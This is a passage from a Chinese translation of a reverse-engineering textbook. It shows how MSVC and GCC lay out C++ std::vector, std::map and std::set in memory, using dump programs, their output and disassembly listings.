vector_of_ints *in) { printf ("_Myfirst=%p, _Mylast=%p, _Myend=%p\n", in->Myfirst, in->Mylast, in->Myend); size_t size=(in->Mylast-in->Myfirst); size_t capacity=(in->Myend-in->Myfirst); printf ("size=%d, capacity=%d\n", size, capacity); for (size_t i=0; i<size; i++) printf ("element %d: %d\n", i, in->Myfirst[i]); }; int main() { std::vector<int> c; dump ((struct vector_of_ints*)(void*)&c); c.push_back(1); dump ((struct vector_of_ints*)(void*)&c); c.push_back(2); dump ((struct vector_of_ints*)(void*)&c); c.push_back(3); dump ((struct vector_of_ints*)(void*)&c); c.push_back(4); dump ((struct vector_of_ints*)(void*)&c); c.reserve (6); dump ((struct vector_of_ints*)(void*)&c); c.push_back(5); dump ((struct vector_of_ints*)(void*)&c); c.push_back(6); dump ((struct vector_of_ints*)(void*)&c); printf ("%d\n", c.at(5)); // with bounds checking printf ("%d\n", c[8]); // operator[], without bounds checking }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 546 逆向工程权威指南(下册) 下面是采用 MSVC 编译后的程序输出。 _Myfirst=00000000, _Mylast=00000000, _Myend=00000000 size=0, capacity=0 _Myfirst=0051CF48, _Mylast=0051CF4C, _Myend=0051CF4C size=1, capacity=1 element 0: 1 _Myfirst=0051CF58, _Mylast=0051CF60, _Myend=0051CF60 size=2, capacity=2 element 0: 1 element 1: 2 _Myfirst=0051C278, _Mylast=0051C284, _Myend=0051C284 size=3, capacity=3 element 0: 1 element 1: 2 element 2: 3 _Myfirst=0051C290, _Mylast=0051C2A0, _Myend=0051C2A0 size=4, capacity=4 element 0: 1 element 1: 2 element 2: 3 element 3: 4 _Myfirst=0051B180, _Mylast=0051B190, _Myend=0051B198 size=4, capacity=6 element 0: 1 element 1: 2 element 2: 3 element 3: 4 _Myfirst=0051B180, _Mylast=0051B194, _Myend=0051B198 size=5, capacity=6 element 0: 1 element 1: 2 element 2: 3 element 3: 4 element 4: 5 _Myfirst=0051B180, _Mylast=0051B198, _Myend=0051B198 size=6, capacity=6 element 0: 1 element 1: 2 element 2: 3 element 3: 4 element 4: 5 element 5: 6 6 6619158 从程序中我们可以看到,当主函数 main()开始运行后并没有立即分配数据缓冲区。在第一次调用 push_back()函数之后,它才分配了缓冲区。此后,每调用一次 push_back()函数,数组的空间和 size(capacity) 都增大一次。不仅空间容量逐渐增长,而且缓冲区的地址也会同期改变。这是因为每次调用 push_back() 函数时,都会在堆里重新分配空间。所以这种操作的时间开销很大。要想提高效率,就必须预测数组的大 小并使用.reserve()方式为其预留存储空间。 最后一个数值是随机的噪音。它不属于链表的某个节点,只是一个随机数。从这一点我们可以看出, std::vector(标准向量)的下标运算符“[]”不会检测索引值是否超越下标界限。要进行这种数组边界检查,可 以使用内置函数.at()。虽然.at()方法的运行速度较慢,但是它能在下标越 std::out_of_range(越界)的错误提示。 我们来看它的汇编指令。使用 MSVC 2012(启用 /GS- /Ob1 选项)编译上述源程序,可得到: 指令清单 51.33 MSVC 2012 /GS- /Ob1 $SG52650 DB '%d', 0aH, 00H $SG52651 DB '%d', 0aH, 00H _this$ = -4 ; size = 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 547 __Pos$ = 8 ; size = 4 ?at@?$vector@HV?$allocator@H@std@@@std@@QAEAAHI@Z PROC ; std::vector<int,std::allocator<int> >::at, COMDAT ; _this$ = ecx push ebp mov ebp, esp push ecx mov DWORD PTR _this$[ebp], ecx mov eax, DWORD PTR _this$[ebp] mov ecx, DWORD PTR _this$[ebp] mov edx, DWORD PTR [eax+4] sub edx, DWORD PTR [ecx] sar edx, 2 cmp edx, DWORD PTR __Pos$[ebp] ja SHORT $LN1@at push OFFSET ??_C@_0BM@NMJKDPPO@invalid?5vector?$DMT?$DO?5subscript?$AA@ call DWORD PTR __imp_?_Xout_of_range@std@@YAXPBD@Z $LN1@at: mov eax, DWORD PTR _this$[ebp] mov ecx, DWORD PTR [eax] mov edx, DWORD PTR __Pos$[ebp] lea eax, DWORD PTR [ecx+edx*4] $LN3@at: mov esp, ebp pop ebp ret 4 ?at@?$vector@HV?$allocator@H@std@@@std@@QAEAAHI@Z ENDP ; std::vector<int,std::allocator<int> >::at _c$ = -36 ; size = 12 $T1 = -24 ; size = 4 $T2 = -20 ; size = 4 $T3 = -16 ; size = 4 $T4 = -12 ; size = 4 $T5 = -8 ; size = 4 $T6 = -4 ; size = 4 _main PROC push ebp mov ebp, esp sub esp, 36 mov DWORD PTR _c$[ebp], 0 ; Myfirst mov DWORD PTR _c$[ebp+4], 0 ; Mylast mov DWORD PTR _c$[ebp+8], 0 ; Myend lea eax, DWORD PTR _c$[ebp] push eax call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 mov DWORD PTR $T6[ebp], 1 lea ecx, DWORD PTR $T6[ebp] push ecx lea ecx, DWORD PTR _c$[ebp] call ?push_back@?$vector@HV?$allocator@H@std@@@std@@QAEX$$QAH@Z ; std::vector<int,std:: allocator<int> >::push_back lea edx, DWORD PTR _c$[ebp] push edx call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 mov DWORD PTR $T5[ebp], 2 lea eax, DWORD PTR $T5[ebp] push eax lea ecx, DWORD PTR _c$[ebp] call ?push_back@?$vector@HV?$allocator@H@std@@@std@@QAEX$$QAH@Z ; std::vector<int,std:: allocator<int> >::push_back lea ecx, DWORD PTR _c$[ebp] push ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 548 逆向工程权威指南(下册) call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 mov DWORD PTR $T4[ebp], 3 lea edx, DWORD PTR $T4[ebp] push edx lea ecx, DWORD PTR _c$[ebp] call ?push_back@?$vector@HV?$allocator@H@std@@@std@@QAEX$$QAH@Z ; std::vector<int,std:: allocator<int> >::push_back lea eax, DWORD PTR _c$[ebp] push eax call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 mov DWORD PTR $T3[ebp], 4 lea ecx, DWORD PTR $T3[ebp] push ecx lea ecx, DWORD PTR _c$[ebp] call ?push_back@?$vector@HV?$allocator@H@std@@@std@@QAEX$$QAH@Z ; std::vector<int,std:: allocator<int> >::push_back lea edx, DWORD PTR _c$[ebp] push edx call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 push 6 lea ecx, DWORD PTR _c$[ebp] call ?reserve@?$vector@HV?$allocator@H@std@@@std@@QAEXI@Z ; std::vector<int,std::allocator< int> >::reserve lea eax, DWORD PTR _c$[ebp] push eax call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 mov DWORD PTR $T2[ebp], 5 lea ecx, DWORD PTR $T2[ebp] push ecx lea ecx, DWORD PTR _c$[ebp] call ?push_back@?$vector@HV?$allocator@H@std@@@std@@QAEX$$QAH@Z ; std::vector<int,std:: allocator<int> >::push_back lea edx, DWORD PTR _c$[ebp] push edx call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 mov DWORD PTR $T1[ebp], 6 lea eax, DWORD PTR $T1[ebp] push eax lea ecx, DWORD PTR _c$[ebp] call ?push_back@?$vector@HV?$allocator@H@std@@@std@@QAEX$$QAH@Z ; std::vector<int,std:: allocator<int> >::push_back lea ecx, DWORD PTR _c$[ebp] push ecx call ?dump@@YAXPAUvector_of_ints@@@Z ; dump add esp, 4 push 5 lea ecx, DWORD PTR _c$[ebp] call ?at@?$vector@HV?$allocator@H@std@@@std@@QAEAAHI@Z ; std::vector<int,std::allocator<int > >::at mov edx, DWORD PTR [eax] push edx push OFFSET $SG52650 ; '%d' call DWORD PTR __imp__printf add esp, 8 mov eax, 8 shl eax, 2 mov ecx, DWORD PTR _c$[ebp] mov edx, DWORD PTR [ecx+eax] push edx push OFFSET $SG52651 ; '%d' 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 549 call DWORD PTR __imp__printf add esp, 8 lea ecx, DWORD PTR _c$[ebp] call ?_Tidy@?$vector@HV?$allocator@H@std@@@std@@IAEXXZ ; std::vector<int,std::allocator<int > >::_Tidy xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP 从中我们可以看到.at()方法检查下标边界以及异常处理的详细细节。最后一个输出值是 printf()函数直 接从内存中提取的数值。它在提取数值的时候没有做任何越界检查。 有读者可能会问了,为什么标准向量的数据结构为什么不像标准函数 std::string 中的那样、单独用一个 字段记录 size(大小)和 capacity(体积)这类的信息呢?虽然笔者无法查证,但是笔者相信大概是.at()在 进行边界检查时效率更好吧。 GCC 生成的汇编指令也十分雷同,不过它以内联函数的形式实现.at()。 指令清单 51.34 GCC 4.8.1 –fno –inline –small –functions –O1 编译 main proc near push ebp mov ebp, esp push edi push esi push ebx and esp, 0FFFFFFF0h sub esp, 20h mov dword ptr [esp+14h], 0 mov dword ptr [esp+18h], 0 mov dword ptr [esp+1Ch], 0 lea eax, [esp+14h] mov [esp], eax call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov dword ptr [esp+10h], 1 lea eax, [esp+10h] mov [esp+4], eax lea eax, [esp+14h] mov [esp], eax call _ZNSt6vectorIiSaIiEE9push_backERKi ; std::vector<int,std::allocator<int>>::push_back( int const&) lea eax, [esp+14h] mov [esp], eax call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov dword ptr [esp+10h], 2 lea eax, [esp+10h] mov [esp+4], eax lea eax, [esp+14h] mov [esp], eax call _ZNSt6vectorIiSaIiEE9push_backERKi ; std::vector<int,std::allocator<int>>::push_back( int const&) lea eax, [esp+14h] mov [esp], eax call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov dword ptr [esp+10h], 3 lea eax, [esp+10h] mov [esp+4], eax lea eax, [esp+14h] mov [esp], eax call _ZNSt6vectorIiSaIiEE9push_backERKi ; std::vector<int,std::allocator<int>>::push_back( int const&) lea eax, [esp+14h] mov [esp], eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 550 逆向工程权威指南(下册) call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov dword ptr [esp+10h], 4 lea eax, [esp+10h] mov [esp+4], eax lea eax, [esp+14h] mov [esp], eax call _ZNSt6vectorIiSaIiEE9push_backERKi ; std::vector<int,std::allocator<int>>::push_back( int const&) lea eax, [esp+14h] mov [esp], eax call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov ebx, [esp+14h] mov eax, [esp+1Ch] sub eax, ebx cmp eax, 17h ja short loc_80001CF mov edi, [esp+18h] sub edi, ebx sar edi, 2 mov dword ptr [esp], 18h call _Znwj ; operator new(uint) mov esi, eax test edi, edi jz short loc_80001AD lea eax, ds:0[edi*4] mov [esp+8], eax ; n mov [esp+4], ebx ; src mov [esp], esi ; dest call memmove loc_80001AD: ; CODE XREF: main+F8 mov eax, [esp+14h] test eax, eax jz short loc_80001BD mov [esp], eax ; void * call _ZdlPv ; operator delete(void *) loc_80001BD: ; CODE XREF: main+117 mov [esp+14h], esi lea eax, [esi+edi*4] mov [esp+18h], eax add esi, 18h mov [esp+1Ch], esi loc_80001CF: ; CODE XREF: main+DD lea eax, [esp+14h] mov [esp], eax call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov dword ptr [esp+10h], 5 lea eax, [esp+10h] mov [esp+4], eax lea eax, [esp+14h] mov [esp], eax call _ZNSt6vectorIiSaIiEE9push_backERKi ; std::vector<int,std::allocator<int>>::push_back( int const&) lea eax, [esp+14h] mov [esp], eax call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov dword ptr [esp+10h], 6 lea eax, [esp+10h] mov [esp+4], eax lea eax, [esp+14h] mov [esp], eax call _ZNSt6vectorIiSaIiEE9push_backERKi ; std::vector<int,std::allocator<int>>::push_back( int const&) lea eax, [esp+14h] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 551 mov [esp], eax call _Z4dumpP14vector_of_ints ; dump(vector_of_ints *) mov eax, [esp+14h] mov edx, [esp+18h] sub edx, eax cmp edx, 17h ja short loc_8000246 mov dword ptr [esp], offset aVector_m_range ; "vector::_M_range_check" call _ZSt20__throw_out_of_rangePKc ; std::__throw_out_of_range(char const*) loc_8000246: ; CODE XREF: main+19C mov eax, [eax+14h] mov [esp+8], eax mov dword ptr [esp+4], offset aD ; "%d\n" mov dword ptr [esp], 1 call __printf_chk mov eax, [esp+14h] mov eax, [eax+20h] mov [esp+8], eax mov dword ptr [esp+4], offset aD ; "%d\n" mov dword ptr [esp], 1 call __printf_chk mov eax, [esp+14h] test eax, eax jz short loc_80002AC mov [esp], eax ; void * call _ZdlPv ; operator delete(void *) jmp short loc_80002AC mov ebx, eax mov edx, [esp+14h] test edx, edx jz short loc_80002A4 mov [esp], edx ; void * call _ZdlPv ; operator delete(void *) loc_80002A4: ; CODE XREF: main+1FE mov [esp], ebx call _Unwind_Resume loc_80002AC: ; CODE XREF: main+1EA ; main+1F4 mov eax, 0 lea esp, [ebp-0Ch] pop ebx pop esi pop edi pop ebp locret_80002B8: ; DATA XREF: .eh_frame:08000510 ; .eh_frame:080005BC retn main endp 编译器也对.reserve()函数进行了内联处理。如果缓冲区不大,程序会调用 new()方法分配缓冲区的存储 空间;使用 memmove()方法来复制缓冲区中的内容;最后通过 delete()方法来释放缓冲区空间。 如果采用 GCC 编译的话,编译程序的输出为: _Myfirst=0x(nil), _Mylast=0x(nil), _Myend=0x(nil) size=0, capacity=0 _Myfirst=0x8257008, _Mylast=0x825700c, _Myend=0x825700c size=1, capacity=1 element 0: 1 _Myfirst=0x8257018, _Mylast=0x8257020, _Myend=0x8257020 异步社区会员 dearfuture(15918834820) 专享 尊重版权 552 逆向工程权威指南(下册) size=2, capacity=2 element 0: 1 element 1: 2 _Myfirst=0x8257028, _Mylast=0x8257034, _Myend=0x8257038 size=3, capacity=4 element 0: 1 element 1: 2 element 2: 3 _Myfirst=0x8257028, _Mylast=0x8257038, _Myend=0x8257038 size=4, capacity=4 element 0: 1 element 1: 2 element 2: 3 element 3: 4 _Myfirst=0x8257040, _Mylast=0x8257050, _Myend=0x8257058 size=4, capacity=6 element 0: 1 element 1: 2 element 2: 3 element 3: 4 _Myfirst=0x8257040, _Mylast=0x8257054, _Myend=0x8257058 size=5, capacity=6 element 0: 1 element 1: 2 element 2: 3 element 3: 4 element 4: 5 _Myfirst=0x8257040, _Mylast=0x8257058, _Myend=0x8257058 size=6, capacity=6 element 0: 1 element 1: 2 element 2: 3 element 3: 4 element 4: 5 element 5: 6 6 0 从程序我们可以看到,GCC 的缓冲区 buffer 的增长方式与 MSVC 不同。具体来说,通过一个简单的 例子实践可以看到:由 MSVC 编译的程序每次会把缓冲区增加 50%;而由 GCC 编译的程序则会将缓冲区 扩张 100%——也就是翻倍。 51.4.4 std::map()和 std::set() “二叉树”是另外一种常见的基础数据结构。二叉树是每个节点最多有两个子树的有序树,每个节点都 有自己的关键字(key)-值(value)。 二叉树通常会用于构造联合数组(associative arrays)。联合数组又称为词典(dictionary)或 hash 表, 它由一系列的“关键字-值”构成。 二叉制树最少具备三个重要的特性:  所有的关键字都以有序方式存储。  任何类型的关键字都能构成二叉树。二叉树的算法与关键字的数据类型无关。只要能够定义一 个比较二叉树关键字的排序函数,就可以构造一个二叉树。  与链表和数组相比,在二叉树中搜索特定关键字的速度比较快。 现在开始举例说明:我们将存储数列 0, 1, 2, 3, 5, 6, 9, 10, 11, 12, 20, 99, 100, 101, 107, 1001, 1010,并形 成下述二叉树结构: 从下面的图中,我们很容易发现这样一个规律:所有左边节点的值都比其右边节点的值小,而所有右 边节点的值都比左边的节点的值大。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 553 在遵守以上规则的前提下,我们做起查询算法来就相对简单了。我们只需要关注当前节点的数值以及 我们要查询的值,将这两者进行比较,当前者比后者小时,那么我们只需要向右搜索对比查找;反之,当 前者比后者大时,我们就会向左搜索对比查找。一直到找到节点的值与要搜索的值相等为止。这就是为什 么刚才说只需要一个对比函数即可进行节点数或者字符串对比。 所有的键都有一个唯一的值,不能重复。 我们可以计算需要花费的步数,公式大约为:log2n(n 是二进制树中键的个数),这个公式计算的是我 们要找到一个平衡树的搜索步数。这就意味着在一个 1000 个键的二进制树中,通过大约 10 步我们就能找 到需要的值;而 10000 个键的二进制树中则需要 13 步。看起来还是很不错的。树总是需要像这样平衡一下, 也就是说,键必须在所有水平上平衡分布。插入和移除一些节点可能都需要保持树的平衡状态。 有几个可用的流行平衡算法,包括 AVL 树和红黑树。后面的算法采用的办法是将每个节点标注为 red(红) 或者 black(黑),以简化结点的平衡过程。 不管是 GCC 还是 MSVC 的模板函数 std::map()和 std::set()都使用了红黑树(red-black)的算法。 在 std::set()中只含有键,而 std::map()中除了键(std::set)还有相应的每个节点的数值。 MSVC #include <map> #include <set> #include <string> #include <iostream> // structure is not packed! struct tree_node { struct tree_node *Left; struct tree_node *Parent; struct tree_node *Right; char Color; // 0 - Red, 1 - Black char Isnil; //std::pair Myval; unsigned int first; // called Myval in std::set const char *second; // not present in std::set }; struct tree_struct { struct tree_node *Myhead; size_t Mysize; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 554 逆向工程权威指南(下册) }; void dump_tree_node (struct tree_node *n, bool is_set, bool traverse) { printf ("ptr=0x%p Left=0x%p Parent=0x%p Right=0x%p Color=%d Isnil=%d\n", n, n->Left, n->Parent, n->Right, n->Color, n->Isnil); if (n->Isnil==0) { if (is_set) printf ("first=%d\n", n->first); else printf ("first=%d second=[%s]\n", n->first, n->second); } if (traverse) { if (n->Isnil==1) dump_tree_node (n->Parent, is_set, true); else { if (n->Left->Isnil==0) dump_tree_node (n->Left, is_set, true); if (n->Right->Isnil==0) dump_tree_node (n->Right, is_set, true); }; }; }; const char* ALOT_OF_TABS="\t\t\t\t\t\t\t\t\t\t\t"; void dump_as_tree (int tabs, struct tree_node *n, bool is_set) { if (is_set) printf ("%d\n", n->first); else printf ("%d [%s]\n", n->first, n->second); if (n->Left->Isnil==0) { printf ("%.*sL-------", tabs, ALOT_OF_TABS); dump_as_tree (tabs+1, n->Left, is_set); }; if (n->Right->Isnil==0) { printf ("%.*sR-------", tabs, ALOT_OF_TABS); dump_as_tree (tabs+1, n->Right, is_set); }; }; void dump_map_and_set(struct tree_struct *m, bool is_set) { printf ("ptr=0x%p, Myhead=0x%p, Mysize=%d\n", m, m->Myhead, m->Mysize); dump_tree_node (m->Myhead, is_set, true); printf ("As a tree:\n"); printf ("root----"); dump_as_tree (1, m->Myhead->Parent, is_set); }; int main() { // map std::map<int, const char*> m; m[10]="ten"; m[20]="twenty"; m[3]="three"; m[101]="one hundred one"; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 555 m[100]="one hundred"; m[12]="twelve"; m[107]="one hundred seven"; m[0]="zero"; m[1]="one"; m[6]="six"; m[99]="ninety-nine"; m[5]="five"; m[11]="eleven"; m[1001]="one thousand one"; m[1010]="one thousand ten"; m[2]="two"; m[9]="nine"; printf ("dumping m as map:\n"); dump_map_and_set ((struct tree_struct *)(void*)&m, false); std::map<int, const char*>::iterator it1=m.begin(); printf ("m.begin():\n"); dump_tree_node ((struct tree_node *)*(void**)&it1, false, false); it1=m.end(); printf ("m.end():\n"); dump_tree_node ((struct tree_node *)*(void**)&it1, false, false); // set std::set<int> s; s.insert(123); s.insert(456); s.insert(11); s.insert(12); s.insert(100); s.insert(1001); printf ("dumping s as set:\n"); dump_map_and_set ((struct tree_struct *)(void*)&s, true); std::set<int>::iterator it2=s.begin(); printf ("s.begin():\n"); dump_tree_node ((struct tree_node *)*(void**)&it2, true, false); it2=s.end(); printf ("s.end():\n"); dump_tree_node ((struct tree_node *)*(void**)&it2, true, false); }; 指令清单 51.35 MSVC 2012 dumping m as map: ptr=0x0020FE04, Myhead=0x005BB3A0, Mysize=17 ptr=0x005BB3A0 Left=0x005BB4A0 Parent=0x005BB3C0 Right=0x005BB580 Color=1 Isnil=1 ptr=0x005BB3C0 Left=0x005BB4C0 Parent=0x005BB3A0 Right=0x005BB440 Color=1 Isnil=0 first=10 second=[ten] ptr=0x005BB4C0 Left=0x005BB4A0 Parent=0x005BB3C0 Right=0x005BB520 Color=1 Isnil=0 first=1 second=[one] ptr=0x005BB4A0 Left=0x005BB3A0 Parent=0x005BB4C0 Right=0x005BB3A0 Color=1 Isnil=0 first=0 second=[zero] ptr=0x005BB520 Left=0x005BB400 Parent=0x005BB4C0 Right=0x005BB4E0 Color=0 Isnil=0 first=5 second=[five] ptr=0x005BB400 Left=0x005BB5A0 Parent=0x005BB520 Right=0x005BB3A0 Color=1 Isnil=0 first=3 second=[three] ptr=0x005BB5A0 Left=0x005BB3A0 Parent=0x005BB400 Right=0x005BB3A0 Color=0 Isnil=0 first=2 second=[two] ptr=0x005BB4E0 Left=0x005BB3A0 Parent=0x005BB520 Right=0x005BB5C0 Color=1 Isnil=0 first=6 second=[six] ptr=0x005BB5C0 Left=0x005BB3A0 Parent=0x005BB4E0 Right=0x005BB3A0 Color=0 Isnil=0 first=9 second=[nine] ptr=0x005BB440 Left=0x005BB3E0 Parent=0x005BB3C0 Right=0x005BB480 Color=1 Isnil=0 first=100 second=[one hundred] ptr=0x005BB3E0 Left=0x005BB460 Parent=0x005BB440 Right=0x005BB500 Color=0 Isnil=0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 556 逆向工程权威指南(下册) first=20 second=[twenty] ptr=0x005BB460 Left=0x005BB540 Parent=0x005BB3E0 Right=0x005BB3A0 Color=1 Isnil=0 first=12 second=[twelve] ptr=0x005BB540 Left=0x005BB3A0 Parent=0x005BB460 Right=0x005BB3A0 Color=0 Isnil=0 first=11 second=[eleven] ptr=0x005BB500 Left=0x005BB3A0 Parent=0x005BB3E0 Right=0x005BB3A0 Color=1 Isnil=0 first=99 second=[ninety-nine] ptr=0x005BB480 Left=0x005BB420 Parent=0x005BB440 Right=0x005BB560 Color=0 Isnil=0 first=107 second=[one hundred seven] ptr=0x005BB420 Left=0x005BB3A0 Parent=0x005BB480 Right=0x005BB3A0 Color=1 Isnil=0 first=101 second=[one hundred one] ptr=0x005BB560 Left=0x005BB3A0 Parent=0x005BB480 Right=0x005BB580 Color=1 Isnil=0 first=1001 second=[one thousand one] ptr=0x005BB580 Left=0x005BB3A0 Parent=0x005BB560 Right=0x005BB3A0 Color=0 Isnil=0 first=1010 second=[one thousand ten] As a tree: root----10 [ten] L-------1 [one] L-------0 [zero] R-------5 [five] L-------3 [three] L-------2 [two] R-------6 [six] R-------9 [nine] R-------100 [one hundred] L-------20 [twenty] L-------12 [twelve] L-------11 [eleven] R-------99 [ninety-nine] R-------107 [one hundred seven] L-------101 [one hundred one] R-------1001 [one thousand one] R-------1010 [one thousand ten] m.begin(): ptr=0x005BB4A0 Left=0x005BB3A0 Parent=0x005BB4C0 Right=0x005BB3A0 Color=1 Isnil=0 first=0 second=[zero] m.end(): ptr=0x005BB3A0 Left=0x005BB4A0 Parent=0x005BB3C0 Right=0x005BB580 Color=1 Isnil=1 dumping s as set: ptr=0x0020FDFC, Myhead=0x005BB5E0, Mysize=6 ptr=0x005BB5E0 Left=0x005BB640 Parent=0x005BB600 Right=0x005BB6A0 Color=1 Isnil=1 ptr=0x005BB600 Left=0x005BB660 Parent=0x005BB5E0 Right=0x005BB620 Color=1 Isnil=0 first=123 ptr=0x005BB660 Left=0x005BB640 Parent=0x005BB600 Right=0x005BB680 Color=1 Isnil=0 first=12 ptr=0x005BB640 Left=0x005BB5E0 Parent=0x005BB660 Right=0x005BB5E0 Color=0 Isnil=0 first=11 ptr=0x005BB680 Left=0x005BB5E0 Parent=0x005BB660 Right=0x005BB5E0 Color=0 Isnil=0 first=100 ptr=0x005BB620 Left=0x005BB5E0 Parent=0x005BB600 Right=0x005BB6A0 Color=1 Isnil=0 first=456 ptr=0x005BB6A0 Left=0x005BB5E0 Parent=0x005BB620 Right=0x005BB5E0 Color=0 Isnil=0 first=1001 As a tree: root----123 L-------12 L-------11 R-------100 R-------456 R-------1001 s.begin(): ptr=0x005BB640 Left=0x005BB5E0 Parent=0x005BB660 Right=0x005BB5E0 Color=0 Isnil=0 first=11 s.end(): ptr=0x005BB5E0 Left=0x005BB640 Parent=0x005BB600 Right=0x005BB6A0 Color=1 Isnil=1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 557 因为结构设计得并不紧密,所以 2 个 char 型值各占用了 4 字节空间。 对于 std::map 结构来说,first 和 second 的数据数据组合可被视为 std::pair 的一个数据元素。而 std::set 的每个节点则只有 1 个值。 51.4.2 节介绍过,MSVC 编译器在构造 std::list 的时候会保链表的长度信息。我们可以在程序看到它也 存储了这种数据类型的具体尺寸。 这两种数据结构和 std::list 的相同之处是,迭代器都是指向节点的指针。.begin()迭代函数指向最小的 键。实际上,整个数据结构里都没有最小键的指针(和链表的情况一样)每当程序调用这个迭代器的时候, 它就遍历所有键、查找出最小值。单目递增运算符 operator --和单目递减运算符 operator++可将指针指向树 里的前一个或后一个节点。MIT 出版社出版的《Introduction to Algorithms, Third Edition》(Thomas H. Cormen 等 人著)介绍了这两个运算符的具体算法。 迭代器.end()指向了一个隐蔽的虚节点。其 Isnil 为 1,即是说它没有对应的关键字(key)或值(value)、 不是真正意义上的数据结点,仅是一个存储控制信息的容器。这个虚节点的父节点是真正的根节点的指针, 也就是整个信息树的顶点。 GCC #include <stdio.h> #include <map> #include <set> #include <string> #include <iostream> struct map_pair { int key; const char *value; }; struct tree_node { int M_color; // 0 - Red, 1 - Black struct tree_node *M_parent; struct tree_node *M_left; struct tree_node *M_right; }; struct tree_struct { int M_key_compare; struct tree_node M_header; size_t M_node_count; }; void dump_tree_node (struct tree_node *n, bool is_set, bool traverse, bool dump_keys_and_values) { printf ("ptr=0x%p M_left=0x%p M_parent=0x%p M_right=0x%p M_color=%d\n", n, n->M_left, n->M_parent, n->M_right, n->M_color); void *point_after_struct=((char*)n)+sizeof(struct tree_node); if (dump_keys_and_values) { if (is_set) printf ("key=%d\n", *(int*)point_after_struct); else { struct map_pair *p=(struct map_pair *)point_after_struct; printf ("key=%d value=[%s]\n", p->key, p->value); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 558 逆向工程权威指南(下册) }; }; if (traverse==false) return; if (n->M_left) dump_tree_node (n->M_left, is_set, traverse, dump_keys_and_values); if (n->M_right) dump_tree_node (n->M_right, is_set, traverse, dump_keys_and_values); }; const char* ALOT_OF_TABS="\t\t\t\t\t\t\t\t\t\t\t"; void dump_as_tree (int tabs, struct tree_node *n, bool is_set) { void *point_after_struct=((char*)n)+sizeof(struct tree_node); if (is_set) printf ("%d\n", *(int*)point_after_struct); else { struct map_pair *p=(struct map_pair *)point_after_struct; printf ("%d [%s]\n", p->key, p->value); } if (n->M_left) { printf ("%.*sL-------", tabs, ALOT_OF_TABS); dump_as_tree (tabs+1, n->M_left, is_set); }; if (n->M_right) { printf ("%.*sR-------", tabs, ALOT_OF_TABS); dump_as_tree (tabs+1, n->M_right, is_set); }; }; void dump_map_and_set(struct tree_struct *m, bool is_set) { printf ("ptr=0x%p, M_key_compare=0x%x, M_header=0x%p, M_node_count=%d\n", m, m->M_key_compare, &m->M_header, m->M_node_count); dump_tree_node (m->M_header.M_parent, is_set, true, true); printf ("As a tree:\n"); printf ("root----"); dump_as_tree (1, m->M_header.M_parent, is_set); }; int main() { // map std::map<int, const char*> m; m[10]="ten"; m[20]="twenty"; m[3]="three"; m[101]="one hundred one"; m[100]="one hundred"; m[12]="twelve"; m[107]="one hundred seven"; m[0]="zero"; m[1]="one"; m[6]="six"; m[99]="ninety-nine"; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 559 m[5]="five"; m[11]="eleven"; m[1001]="one thousand one"; m[1010]="one thousand ten"; m[2]="two"; m[9]="nine"; printf ("dumping m as map:\n"); dump_map_and_set ((struct tree_struct *)(void*)&m, false); std::map<int, const char*>::iterator it1=m.begin(); printf ("m.begin():\n"); dump_tree_node ((struct tree_node *)*(void**)&it1, false, false, true); it1=m.end(); printf ("m.end():\n"); dump_tree_node ((struct tree_node *)*(void**)&it1, false, false, false); // set std::set<int> s; s.insert(123); s.insert(456); s.insert(11); s.insert(12); s.insert(100); s.insert(1001); printf ("dumping s as set:\n"); dump_map_and_set ((struct tree_struct *)(void*)&s, true); std::set<int>::iterator it2=s.begin(); printf ("s.begin():\n"); dump_tree_node ((struct tree_node *)*(void**)&it2, true, false, true); it2=s.end(); printf ("s.end():\n"); dump_tree_node ((struct tree_node *)*(void**)&it2, true, false, false); }; 指令清单 51.36 GCC 4.8.1 dumping m as map: ptr=0x0028FE3C, M_key_compare=0x402b70, M_header=0x0028FE40, M_node_count=17 ptr=0x007A4988 M_left=0x007A4C00 M_parent=0x0028FE40 M_right=0x007A4B80 M_color=1 key=10 value=[ten] ptr=0x007A4C00 M_left=0x007A4BE0 M_parent=0x007A4988 M_right=0x007A4C60 M_color=1 key=1 value=[one] ptr=0x007A4BE0 M_left=0x00000000 M_parent=0x007A4C00 M_right=0x00000000 M_color=1 key=0 value=[zero] ptr=0x007A4C60 M_left=0x007A4B40 M_parent=0x007A4C00 M_right=0x007A4C20 M_color=0 key=5 value=[five] ptr=0x007A4B40 M_left=0x007A4CE0 M_parent=0x007A4C60 M_right=0x00000000 M_color=1 key=3 value=[three] ptr=0x007A4CE0 M_left=0x00000000 M_parent=0x007A4B40 M_right=0x00000000 M_color=0 key=2 value=[two] ptr=0x007A4C20 M_left=0x00000000 M_parent=0x007A4C60 M_right=0x007A4D00 M_color=1 key=6 value=[six] ptr=0x007A4D00 M_left=0x00000000 M_parent=0x007A4C20 M_right=0x00000000 M_color=0 key=9 value=[nine] ptr=0x007A4B80 M_left=0x007A49A8 